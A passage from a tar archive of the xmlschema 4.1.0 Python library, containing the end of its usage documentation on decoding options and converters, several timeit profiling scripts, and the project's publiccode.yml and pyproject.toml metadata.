'Yamaha', '@model': 'XS650'}]}, 'vh:cars': {'vh:car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]}} >>> pprint(xmlschema.to_dict(xt, 'tests/test_cases/examples/vehicles/vehicles.xsd')) {'@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:bikes': {'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]}, 'vh:cars': {'vh:car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]}} With the version v4.0.0 of the library the optional argument *iterparse* has been added for processing XML data using a dependency injection: .. doctest:: >>> import lxml.etree as etree >>> schema_file = 'tests/test_cases/examples/vehicles/vehicles.xsd' >>> xml_data = 'tests/test_cases/examples/vehicles/vehicles.xml' >>> xs = xmlschema.XMLSchema(schema_file, iterparse=etree.iterparse) >>> type(xs.root) <class 'lxml.etree._Element'> that option is applied also for creating :class:`xmlschema.XMLResource` instances when validation/decode is called using a schema API: >>> xs.is_valid('tests/test_cases/examples/vehicles/vehicles-ns-mix.xml') True >>> pprint(xs.to_dict('tests/test_cases/examples/vehicles/vehicles-ns-mix.xml')) {'@xmlns': 'http://example.com/vehicles', '@xmlns:vh': 'http://xmlschema.test/other-ns', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:bikes': {'@xmlns': '', '@xmlns:vh': 'http://example.com/vehicles', 'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]}, 'vh:cars': {'@xmlns': '', '@xmlns:vh': 'http://example.com/vehicles', 'vh:car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]}} The same option is supported by package API (e.g. `xmlschema.to_dict`). The benefits of using *lxml* instead of *ElementTree* are mainly on namespace processing and an extended data model, but *ElementTree* structures can be fragmented without duplications so they could be more suitable for processing data in lazy mode. Furthermore, namespace mapping is also supported by :class:`xmlschema.XMLResource` internals, so the use of *ElementTree* for decoding XML data produce the same results: >>> pprint(xmlschema.to_dict('tests/test_cases/examples/vehicles/vehicles-ns-mix.xml')) {'@xmlns': 'http://example.com/vehicles', '@xmlns:vh': 'http://xmlschema.test/other-ns', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:bikes': {'@xmlns': '', '@xmlns:vh': 'http://example.com/vehicles', 'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]}, 'vh:cars': {'@xmlns': '', '@xmlns:vh': 'http://example.com/vehicles', 'vh:car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]}} Customize the decoded data structure ------------------------------------ Starting from the version 0.9.9 the package includes converter objects, in order to control the decoding process and produce different data structures. These objects intervene at element level to compose the decoded data (attributes and content) into a data structure. The default converter produces a data structure similar to the format produced by previous versions of the package. You can customize the conversion process providing a converter instance or subclass when you create a schema instance or when you want to decode an XML document. For instance you can use the *Badgerfish* converter for a schema instance: .. doctest:: >>> import xmlschema >>> from pprint import pprint >>> xml_schema = 'tests/test_cases/examples/vehicles/vehicles.xsd' >>> xml_document = 'tests/test_cases/examples/vehicles/vehicles.xml' >>> xs = xmlschema.XMLSchema(xml_schema, converter=xmlschema.BadgerFishConverter) >>> pprint(xs.to_dict(xml_document, dict_class=dict), indent=4) { 'vh:vehicles': { '@xmlns': { 'vh': 'http://example.com/vehicles', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'}, '@xsi:schemaLocation': 'http://example.com/vehicles ' 'vehicles.xsd', 'vh:bikes': { 'vh:bike': [ { '@make': 'Harley-Davidson', '@model': 'WL'}, { '@make': 'Yamaha', '@model': 'XS650'}]}, 'vh:cars': { 'vh:car': [ { '@make': 'Porsche', '@model': '911'}, { '@make': 'Porsche', '@model': '911'}]}}} You can also change the data decoding process providing the keyword argument *converter* to the method call: .. doctest:: >>> pprint(xs.to_dict(xml_document, converter=xmlschema.ParkerConverter, dict_class=dict), indent=4) {'vh:bikes': {'vh:bike': [None, None]}, 'vh:cars': {'vh:car': [None, None]}} See the :ref:`converters` section for more information about converters. Control the decoding of XSD atomic datatypes -------------------------------------------- XSD datatypes are decoded to Python basic datatypes. Python strings are used for all string-based XSD types and others, like *xs:hexBinary* or *xs:QName*. Python integers are used for *xs:integer* and derived types, `bool` for *xs:boolean* values and `decimal.Decimal` for *xs:decimal* values. Currently there are three options for variate the decoding of XSD atomic datatypes: decimal_type decoding type for *xs:decimal* (is `decimal.Decimal` for default) datetime_types if set to `True` decodes datetime and duration types to their respective XSD atomic types instead of keeping the XML string value binary_types if set to `True` decodes *xs:hexBinary* and *xs:base64Binary* types to their respective XSD atomic types instead of keeping the XML string value Filling missing values ---------------------- Incompatible values are decoded with `None` when the *validation* mode is `'lax'`. For these situations there are two options for changing the behavior of the decoder: filler a callback function to fill undecodable data with a typed value. The callback function must accept one positional argument, that can be an XSD Element or an attribute declaration. If not provided undecodable data is replaced by `None`. fill_missing if set to True the decoder fills also missing attributes. The filling value is None or a typed value if the *filler* callback is provided. Control the decoding of elements -------------------------------- These options concern the decoding of XSD elements: value_hook a function that will be called with any decoded atomic value and the XSD type used for decoding. The return value will be used instead of the original value. keep_empty if set to `True` empty elements that are valid are decoded with an empty string value instead of `None`. element_hook an function that is called with decoded element data before calling the converter decode method. Takes an `ElementData` instance plus optionally the XSD element and the XSD type, and returns a new `ElementData` instance. Control the decoding of wildcards --------------------------------- These two options are specific for the content processed with an XSD wildcard: keep_unknown if set to `True` unknown tags are kept and are decoded with *xs:anyType*. For default unknown tags not decoded by a wildcard are discarded. process_skipped process XML data that match a wildcard with `processContents=’skip’`. Control the decoding depth -------------------------- max_depth maximum level of decoding, for default there is no limit. With lazy resources is automatically set to *source.lazy_depth* for managing lazy decoding. Available also for validation methods. depth_filler a callback function for replacing data over the *max_depth* level. The callback function must accept one positional argument, that can be an XSD Element. For default deeper data is replaced with `None` values when *max_depth* is provided. Control the validation ---------------------- extra_validator an optional function for performing non-standard validations on XML data. The provided function is called for each traversed element, with the XML element as 1st argument and the corresponding XSD element as 2nd argument. It can be also a generator function and has to raise/yield `XMLSchemaValidationError` exceptions. validation_hook an optional function for stopping or changing validation/decoding at element level. The provided function must accept two arguments, the XML element and the matching XSD element. If the value returned by this function is evaluated to false then the validation/decoding process continues without changes, otherwise it's stopped or changed. If the value returned is a validation mode the validation/decoding process continues changing the current validation mode to the returned value, otherwise the element and its content are not processed. For validation only this function can also stop validation suddenly raising a `XMLSchemaStopValidation` exception. Decoding to JSON ================ The data structured created by the decoder can be easily serialized to JSON. But if you data include `Decimal` values (for *decimal* XSD built-in type) you cannot convert the data to JSON: .. doctest:: >>> import xmlschema >>> import json >>> xml_document = 'tests/test_cases/examples/collection/collection.xml' >>> print(json.dumps(xmlschema.to_dict(xml_document), indent=4)) Traceback (most recent call last): File "/usr/lib64/python2.7/doctest.py", line 1315, in __run compileflags, 1) in test.globs File "<doctest default[3]>", line 1, in <module> print(json.dumps(xmlschema.to_dict(xml_document), indent=4)) File "/usr/lib64/python2.7/json/__init__.py", line 251, in dumps sort_keys=sort_keys, **kw).encode(obj) File "/usr/lib64/python2.7/json/encoder.py", line 209, in encode chunks = list(chunks) File "/usr/lib64/python2.7/json/encoder.py", line 434, in _iterencode for chunk in _iterencode_dict(o, _current_indent_level): File "/usr/lib64/python2.7/json/encoder.py", line 408, in _iterencode_dict for chunk in chunks: File "/usr/lib64/python2.7/json/encoder.py", line 332, in _iterencode_list for chunk in chunks: File "/usr/lib64/python2.7/json/encoder.py", line 408, in _iterencode_dict for chunk in chunks: File "/usr/lib64/python2.7/json/encoder.py", line 442, in _iterencode o = _default(o) File "/usr/lib64/python2.7/json/encoder.py", line 184, in default raise TypeError(repr(o) + " is not JSON serializable") TypeError: Decimal('10000.00') is not JSON serializable This problem is resolved providing an alternative JSON-compatible type for `Decimal` values, using the keyword argument *decimal_type*: .. doctest:: >>> print(json.dumps(xmlschema.to_dict(xml_document, decimal_type=str), indent=4)) # doctest: +SKIP { "object": [ { "@available": true, "author": { "qualification": "painter", "born": "1841-02-25", "@id": "PAR", "name": "Pierre-Auguste Renoir", "dead": "1919-12-03" }, "title": "The Umbrellas", "year": "1886", "position": 1, "estimation": "10000.00", "@id": "b0836217462" }, { "@available": true, "author": { "qualification": "painter, sculptor and ceramicist", "born": "1893-04-20", "@id": "JM", "name": "Joan Mir\u00f3", "dead": "1983-12-25" }, "title": null, "year": "1925", "position": 2, "@id": "b0836217463" } ], "@xsi:schemaLocation": "http://example.com/ns/collection collection.xsd" } From version 1.0 there are two module level API for simplify the JSON serialization and deserialization task. See the :meth:`xmlschema.to_json` and :meth:`xmlschema.from_json` in the :ref:`document-level-api` section. XML resources and documents =========================== Schemas and XML instances processing are based on the class :class:`xmlschema.XMLResource`, that handles the loading and the iteration of XSD/XML data. Starting from v1.3.0 :class:`xmlschema.XMLResource` has been empowered with ElementTree-like XPath API. From the same release a new class :class:`xmlschema.XmlDocument` is available for representing XML resources with a related schema: .. doctest:: >>> import xmlschema >>> xml_document = xmlschema.XmlDocument('tests/test_cases/examples/vehicles/vehicles.xml') >>> xml_document.schema XMLSchema10(name='vehicles.xsd', namespace='http://example.com/vehicles') This class can be used to derive specialized schema-related classes. See :ref:`wsdl11-documents` section for an application example. Meta-schemas and XSD sources ============================ Schema classes :class:`xmlschema.XMLSchema10` and :class:`xmlschema.XMLSchema11` have built-in meta-schema instances, related to the XSD namespace, that can be used directly to validate XSD sources without build a new schema: .. doctest:: >>> from xmlschema import XMLSchema >>> XMLSchema.meta_schema.validate('tests/test_cases/examples/vehicles/vehicles.xsd') >>> XMLSchema.meta_schema.validate('tests/test_cases/examples/vehicles/invalid.xsd') Traceback (most recent call last): ... ... xmlschema.validators.exceptions.XMLSchemaValidationError: failed validating ... Reason: use of attribute 'name' is prohibited Schema: <xs:restriction xmlns:xs="http://www.w3.org/2001/XMLSchema" base="xs:complexType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0" /> <xs:group ref="xs:complexTypeModel" /> </xs:sequence> <xs:attribute name="name" use="prohibited" /> <xs:attribute name="abstract" use="prohibited" /> <xs:attribute name="final" use="prohibited" /> <xs:attribute name="block" use="prohibited" /> <xs:anyAttribute namespace="##other" processContents="lax" /> </xs:restriction> Instance: <xs:complexType xmlns:xs="http://www.w3.org/2001/XMLSchema" name="vehiclesType"> <xs:sequence> <xs:element ref="vh:cars" /> <xs:element ref="vh:bikes" /> </xs:sequence> </xs:complexType> Path: /xs:schema/xs:element/xs:complexType Furthermore also decode and encode methods can be applied on XSD files or sources: .. doctest:: >>> from xmlschema import XMLSchema >>> obj = XMLSchema.meta_schema.decode('tests/test_cases/examples/vehicles/vehicles.xsd') >>> from pprint import pprint >>> pprint(obj) {'@attributeFormDefault': 'unqualified', '@blockDefault': [], '@elementFormDefault': 'qualified', '@finalDefault': [], '@targetNamespace': 'http://example.com/vehicles', '@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xs': 'http://www.w3.org/2001/XMLSchema', 'xs:attribute': {'@name': 'step', '@type': 'xs:positiveInteger'}, 'xs:element': {'@abstract': False, '@name': 'vehicles', '@nillable': False, 'xs:complexType': {'@mixed': False, 'xs:sequence': {'@maxOccurs': 1, '@minOccurs': 1, 'xs:element': [{'@maxOccurs': 1, '@minOccurs': 1, '@nillable': False, '@ref': 'vh:cars'}, {'@maxOccurs': 1, '@minOccurs': 1, '@nillable': False, '@ref': 'vh:bikes'}]}}}, 'xs:include': [{'@schemaLocation': 'cars.xsd'}, {'@schemaLocation': 'bikes.xsd'}]} .. note:: Building a new schema for XSD namespace could be not trivial because other schemas are required for base namespaces (e.g. XML namespace 'http://www.w3.org/XML/1998/namespace'). This is particularly true for XSD 1.1 because the XSD meta-schema lacks of built-in list types definitions, so a patch schema is required. ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/profiling/��������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0015456�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/profiling/profile_context.py��������������������������������������������������������0000775�0000000�0000000�00000004234�15020401055�0021242�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit import xmlschema def run_timeit(stmt='pass', setup='pass', number=1000): seconds = timeit(stmt, setup=setup, number=number) print("{}: {}s".format(stmt, seconds)) if __name__ == '__main__': from xmlschema import XMLResource from xmlschema.validators import DecodeContext print('*' * 50) print("*** Decoder profile for xmlschema package ***") print('*' * 50) print() def func(**kwargs): return kwargs def func2(context): return context resource = XMLResource('<root/>') data = DecodeContext(xmlschema.XMLSchema.meta_schema, source=None) # kwargs = asdict(data) # print(kwargs) NUMBER = 20000 print("*** Profile evaluation ***\n") setup = 'from __main__ import resource, func, func2, data, replace, copy' run_timeit("copy(resource)", setup=setup, number=NUMBER) run_timeit("copy(data)", setup=setup, number=NUMBER) # run_timeit("copy(kwargs)", setup=setup, number=NUMBER) # run_timeit("replace(data)", setup=setup, number=NUMBER) # run_timeit("replace(data, validation='skip')", setup=setup, number=NUMBER) print() # run_timeit("func(**kwargs)", setup=setup, number=NUMBER) run_timeit("func2(data)", setup=setup, number=NUMBER) print() run_timeit("resource.root", setup=setup, number=NUMBER) run_timeit("resource._parent_map", setup=setup, number=NUMBER) run_timeit("resource._allow", setup=setup, number=NUMBER) run_timeit("resource.url", setup=setup, number=NUMBER) run_timeit("data.errors", setup=setup, number=NUMBER) run_timeit("data.converter", setup=setup, number=NUMBER) run_timeit("data.validation", setup=setup, number=NUMBER) run_timeit("data.element_hook", setup=setup, number=NUMBER) # run_timeit("kwargs['errors']", setup=setup, number=NUMBER) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/profiling/profile_context_manager.py������������������������������������������������0000775�0000000�0000000�00000003730�15020401055�0022734�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit def run_timeit(stmt='pass', setup='pass', number=1000): seconds = timeit(stmt, setup=setup, number=number) print("{}: {}s".format(stmt, seconds)) if __name__ == '__main__': from contextlib import contextmanager print('*' * 50) print("*** Decoder profile for xmlschema package ***") print('*' * 50) print() def func(): pass def inner1(): yield 1 def value_from_generator(): value, = inner1() return value # inner should not be created again and again @contextmanager def inner2(): yield 1 def value_from_with(): with inner2() as value: return value class CM: def __init__(self): self.level = 0 def __enter__(self): self.level += 1 return self def __exit__(self, exc_type, exc_val, exc_tb): self.level -= 1 return cm = CM() level = 10 def value_from_with2(): with cm as value: return value NUMBER = 20000 print("*** Profile evaluation ***\n") setup = 'from __main__ import value_from_with, value_from_with2' run_timeit("value_from_with()", setup=setup, number=NUMBER) run_timeit("value_from_with2()", setup=setup, number=NUMBER) setup = 'from __main__ import cm' run_timeit("cm.level += 1; pass; cm.level -= 1", setup=setup, number=NUMBER) setup = 'from __main__ import func' run_timeit("func()", setup=setup, number=NUMBER) setup = 'from __main__ import level' run_timeit("level += 1; pass; level -= 1", setup=setup, number=NUMBER) ����������������������������������������xmlschema-4.1.0/profiling/profile_decoder.py��������������������������������������������������������0000775�0000000�0000000�00000002376�15020401055�0021170�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit from pathlib import Path import xmlschema def run_timeit(stmt='pass', setup='pass', number=1000): seconds = timeit(stmt, setup=setup, number=number) print("{}: {}s".format(stmt, seconds)) if __name__ == '__main__': print('*' * 50) print("*** Decoder profile for xmlschema package ***") print('*' * 50) print() project_dir = Path(__file__).absolute().parent.parent collection_dir = project_dir.joinpath('tests/test_cases/examples/collection') schema = xmlschema.XMLSchema(collection_dir.joinpath('collection.xsd')) xml_file = collection_dir.joinpath('collection.xml').as_posix() print(xml_file) NUMBER = 1000 print("*** Profile evaluation ***\n") setup = 'from __main__ import schema, xml_file' run_timeit("schema.decode(xml_file)", setup=setup, number=NUMBER) run_timeit("schema.is_valid(xml_file)", setup=setup, number=NUMBER) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/profiling/profile_decoder2.py�������������������������������������������������������0000775�0000000�0000000�00000002376�15020401055�0021252�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit from pathlib import Path import xmlschema def run_timeit(stmt='pass', setup='pass', number=1000): seconds = timeit(stmt, setup=setup, number=number) print("{}: {}s".format(stmt, seconds)) if __name__ == '__main__': print('*' * 50) print("*** Decoder profile for xmlschema package ***") print('*' * 50) print() project_dir = Path(__file__).absolute().parent.parent collection_dir = project_dir.joinpath('tests/test_cases/examples/collection') schema = xmlschema.XMLSchema(collection_dir.joinpath('collection.xsd')) xml_file = collection_dir.joinpath('collection.xml').as_posix() print(xml_file) NUMBER = 1000 print("*** Profile evaluation ***\n") setup = 'from __main__ import schema, xml_file' run_timeit("schema.decode(xml_file)", setup=setup, number=NUMBER) run_timeit("schema.is_valid(xml_file)", setup=setup, number=NUMBER) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/profiling/profile_etree.py����������������������������������������������������������0000775�0000000�0000000�00000003742�15020401055�0020665�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# !/usr/bin/env python # # Copyright (c), 2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit from textwrap import indent from xml.etree import ElementTree from xmlschema.utils.etree import etree_getpath # noqa from xmlschema.utils.etree import etree_iter_namespaces, prune_etree # noqa def run_timeit(stmt='pass', setup='pass', number=1000): msg = "Total seconds for executing {} times the following code: {}\n\n{}" seconds = timeit(stmt, setup=setup, number=number) print('-' * 80) print(msg.format(number, seconds, indent(stmt, ' '))) if __name__ == '__main__': print('*' * 43) print("*** Timing profile of XML etree helpers ***") print('*' * 43) print() xml_data = "<a xmlns:foo='bar'><b1><c1/><c2/></b1><b2>" + "<foo:c3/>" * 250 + "</b2></a>" root = ElementTree.fromstring(xml_data) run_timeit( 'for e in etree_iter_namespaces(root):\n pass', setup='from __main__ import root, etree_iter_namespaces', number=10000 ) subtree = ''.join([f'<c{k}>\n' for k in range(20)] + [f'</c{k}>' for k in reversed(range(20))]) xml_data = "<a><b1>" + subtree * 100 + "</b1></a>" run_timeit( 'root = ElementTree.fromstring(xml_data)\n' 'prune_etree(root, lambda x: x.tag == "c10")', setup='from __main__ import ElementTree, xml_data, prune_etree', number=1000 ) root = ElementTree.fromstring("<a><b1>" + subtree * 10 + "</b1></a>") # noqa run_timeit( 'namespaces = {\'foo\': \'bar\'}\n' 'for e in root.iter():\n' ' etree_getpath(e, root, namespaces, add_position=True)', setup='from __main__ import root, etree_getpath', number=100 ) print('-' * 80) ������������������������������xmlschema-4.1.0/profiling/profile_params.py���������������������������������������������������������0000775�0000000�0000000�00000004644�15020401055�0021046�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit from dataclasses import dataclass from collections import namedtuple def run_timeit(stmt='pass', setup='pass', number=1000): seconds = timeit(stmt, setup=setup, number=number) print("{}: {}s".format(stmt, seconds)) if __name__ == '__main__': print('*' * 50) print("*** Decoder profile for xmlschema package ***") print('*' * 50) print() @dataclass class DataParams: converter: None errors: list source: str namespaces: dict a: None = None b: None = None c: None = None d: None = None e: None = None f: None = None k: None = None g: None = None h: None = None j: None = None class Params: def __init__(self, **kwargs): self.__dict__.update(kwargs) class SlotParams: __slots__ = ('converter', 'errors', 'source', 'namespaces') def __init__(self): self.converter = None self.errors = [] self.source = 'data' self.namespaces = {} ParamTup = namedtuple('ParamTup', ('converter', 'errors', 'source', 'namespaces')) tuple_params = ParamTup(None, [], 'data', {}) dict_params = { 'converter': None, 'errors': [], 'source': 'data', 'namespaces': {}, } data_params = DataParams(**dict_params) params = Params(**dict_params) slot_params = SlotParams() NUMBER = 1000000 print("*** Profile evaluation ***\n") setup = 'from __main__ import dict_params as params' run_timeit("params['converter']", setup=setup, number=NUMBER) setup = 'from __main__ import params' run_timeit("params.converter", setup=setup, number=NUMBER) setup = 'from __main__ import tuple_params' run_timeit("tuple_params.converter", setup=setup, number=NUMBER) setup = 'from __main__ import data_params' run_timeit("data_params.converter", setup=setup, number=NUMBER) setup = 'from __main__ import slot_params' run_timeit("slot_params.converter", setup=setup, number=NUMBER) ��������������������������������������������������������������������������������������������xmlschema-4.1.0/profiling/profile_resources.py������������������������������������������������������0000775�0000000�0000000�00000003575�15020401055�0021577�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from timeit import timeit from xmlschema.resources import XMLResource def run_timeit(stmt='pass', setup='pass', number=1000): seconds = timeit(stmt, setup=setup, number=number) print("{}: {}s".format(stmt, seconds)) def iter_root(res: XMLResource): for e in res.root.iter(): pass def iter_res(res: XMLResource): for e in res.iter(): pass def iter_root_and_access_namespaces(res: XMLResource): for e in res.root.iter(): res.get_nsmap(e) res.get_xmlns(e) def iter_res_and_access_namespaces(res: XMLResource): for e in res.iter(): res.get_nsmap(e) res.get_xmlns(e) if __name__ == '__main__': print('*' * 58) print("*** Memory and timing profile of XMLResource instances ***") print('*' * 58) print() xml_data = "<a><b1/><b2><c1/><c2/><c3/></b2><b3>" + "<c4/>" * 500 + "</b3></a>" resource = XMLResource(xml_data) NUMBER = 10000 print("*** Profile evaluation ***\n") setup = 'from __main__ import resource, iter_root' run_timeit('iter_root(resource)', setup=setup, number=NUMBER) setup = 'from __main__ import resource, iter_res' run_timeit('iter_res(resource)', setup=setup, number=NUMBER) print() setup = 'from __main__ import resource, iter_root_and_access_namespaces' run_timeit('iter_root_and_access_namespaces(resource)', setup=setup, number=NUMBER) setup = 'from __main__ import resource, iter_res_and_access_namespaces' run_timeit('iter_res_and_access_namespaces(resource)', setup=setup, number=NUMBER) �����������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/publiccode.yml����������������������������������������������������������������������0000664�0000000�0000000�00000004452�15020401055�0016326�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# This repository adheres to the publiccode.yml standard by including this # metadata file that makes public software easily discoverable. # More info at https://github.com/italia/publiccode.yml publiccodeYmlVersion: '0.2' name: xmlschema url: 'https://github.com/sissaschool/xmlschema' landingURL: 'https://github.com/sissaschool/xmlschema' releaseDate: '2025-06-05' softwareVersion: v4.1.0 developmentStatus: stable platforms: - linux - windows - mac softwareType: library inputTypes: - text/xml - application/xml - application/json outputTypes: - application/json - application/xml categories: - data-analytics - data-collection maintenance: type: internal contacts: - name: Davide Brunato email: davide.brunato@sissa.it affiliation: 'Scuola Internazionale Superiore di Studi Avanzati' legal: license: MIT mainCopyrightOwner: Scuola Internazionale Superiore di Studi Avanzati repoOwner: Scuola Internazionale Superiore di Studi Avanzati localisation: localisationReady: false availableLanguages: - en it: countryExtensionVersion: '0.2' riuso: codiceIPA: sissa description: en: genericName: xmlschema apiDocumentation: 'https://xmlschema.readthedocs.io/en/latest/api.html' documentation: 'http://xmlschema.readthedocs.io/en/latest/' shortDescription: XML Schema validator and data conversion library for Python longDescription: > The _xmlschema_ library is an implementation of [XML Schema](http://www.w3.org/2001/XMLSchema) for Python (supports Python 3.8+). This library arises from the needs of a solid Python layer for processing XML Schema based files for [MaX (Materials design at the Exascale)](http://www.max-centre.eu/) European project. A significant problem is the encoding and the decoding of the XML data files produced by different simulation software. Another important requirement is the XML data validation, in order to put the produced data under control. The lack of a suitable alternative for Python in the schema-based decoding of XML data has led to build this library. Obviously this library can be useful for other cases related to XML Schema based processing, not only for the original scope. features: - XSD 1.0 and XSD 1.1 validator and decoder ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/pyproject.toml����������������������������������������������������������������������0000664�0000000�0000000�00000004523�15020401055�0016405�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������[build-system] requires = ["setuptools >= 77.0"] build-backend = "setuptools.build_meta" [project] name = "xmlschema" version = "4.1.0" description = "An XML Schema validator and decoder" readme = "README.rst" license = "MIT" license-files = ["LICENSE"] requires-python = ">=3.9" authors = [ { name = "Davide Brunato", email = "brunato@sissa.it" }, ] classifiers = [ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", "Programming Language :: Python :: 3.13", "Programming Language :: Python :: 3.14", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", "Topic :: Software Development :: Libraries", "Topic :: Text Processing :: Markup :: XML", ] dependencies = [ "elementpath>=5.0.1, <6.0.0", ] [project.optional-dependencies] codegen = [ "jinja2", ] dev = [ "coverage", "flake8", "lxml", "lxml-stubs", "mypy", "psutil", "tox", "xmlschema[docs]", ] docs = [ "jinja2", "sphinx", "sphinx_rtd_theme", ] [project.scripts] xmlschema-json2xml = "xmlschema.cli:json2xml" xmlschema-validate = "xmlschema.cli:validate" xmlschema-xml2json = "xmlschema.cli:xml2json" [project.urls] Homepage = "https://github.com/sissaschool/xmlschema" [tool.setuptools] include-package-data = false [tool.setuptools.package-data] xmlschema = [ 'py.typed', 'locale/**/*.mo', 'locale/**/*.po', 'schemas/*/*.xsd', 'extras/templates/*/*.jinja' ] [tool.setuptools.packages.find] include = ["xmlschema*"] namespaces = false [tool.mypy] show_error_code_links = true [tool.coverage.run] branch = true source = ["xmlschema"] omit = ["xmlschema/testing/*", "xmlschema/utils/protocols.py"] [tool.coverage.report] exclude_lines = [ "pragma: no cover", "if TYPE_CHECKING:", "raise NotImplementedError()", 'in self._etree_iterparse\(', ] �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/requirements-dev.txt����������������������������������������������������������������0000664�0000000�0000000�00000000012�15020401055�0017516�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������-e .[dev] ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/scripts/����������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0015154�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/scripts/make_translation.py���������������������������������������������������������0000664�0000000�0000000�00000012767�15020401055�0021076�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2022, SISSA (International School for Advanced 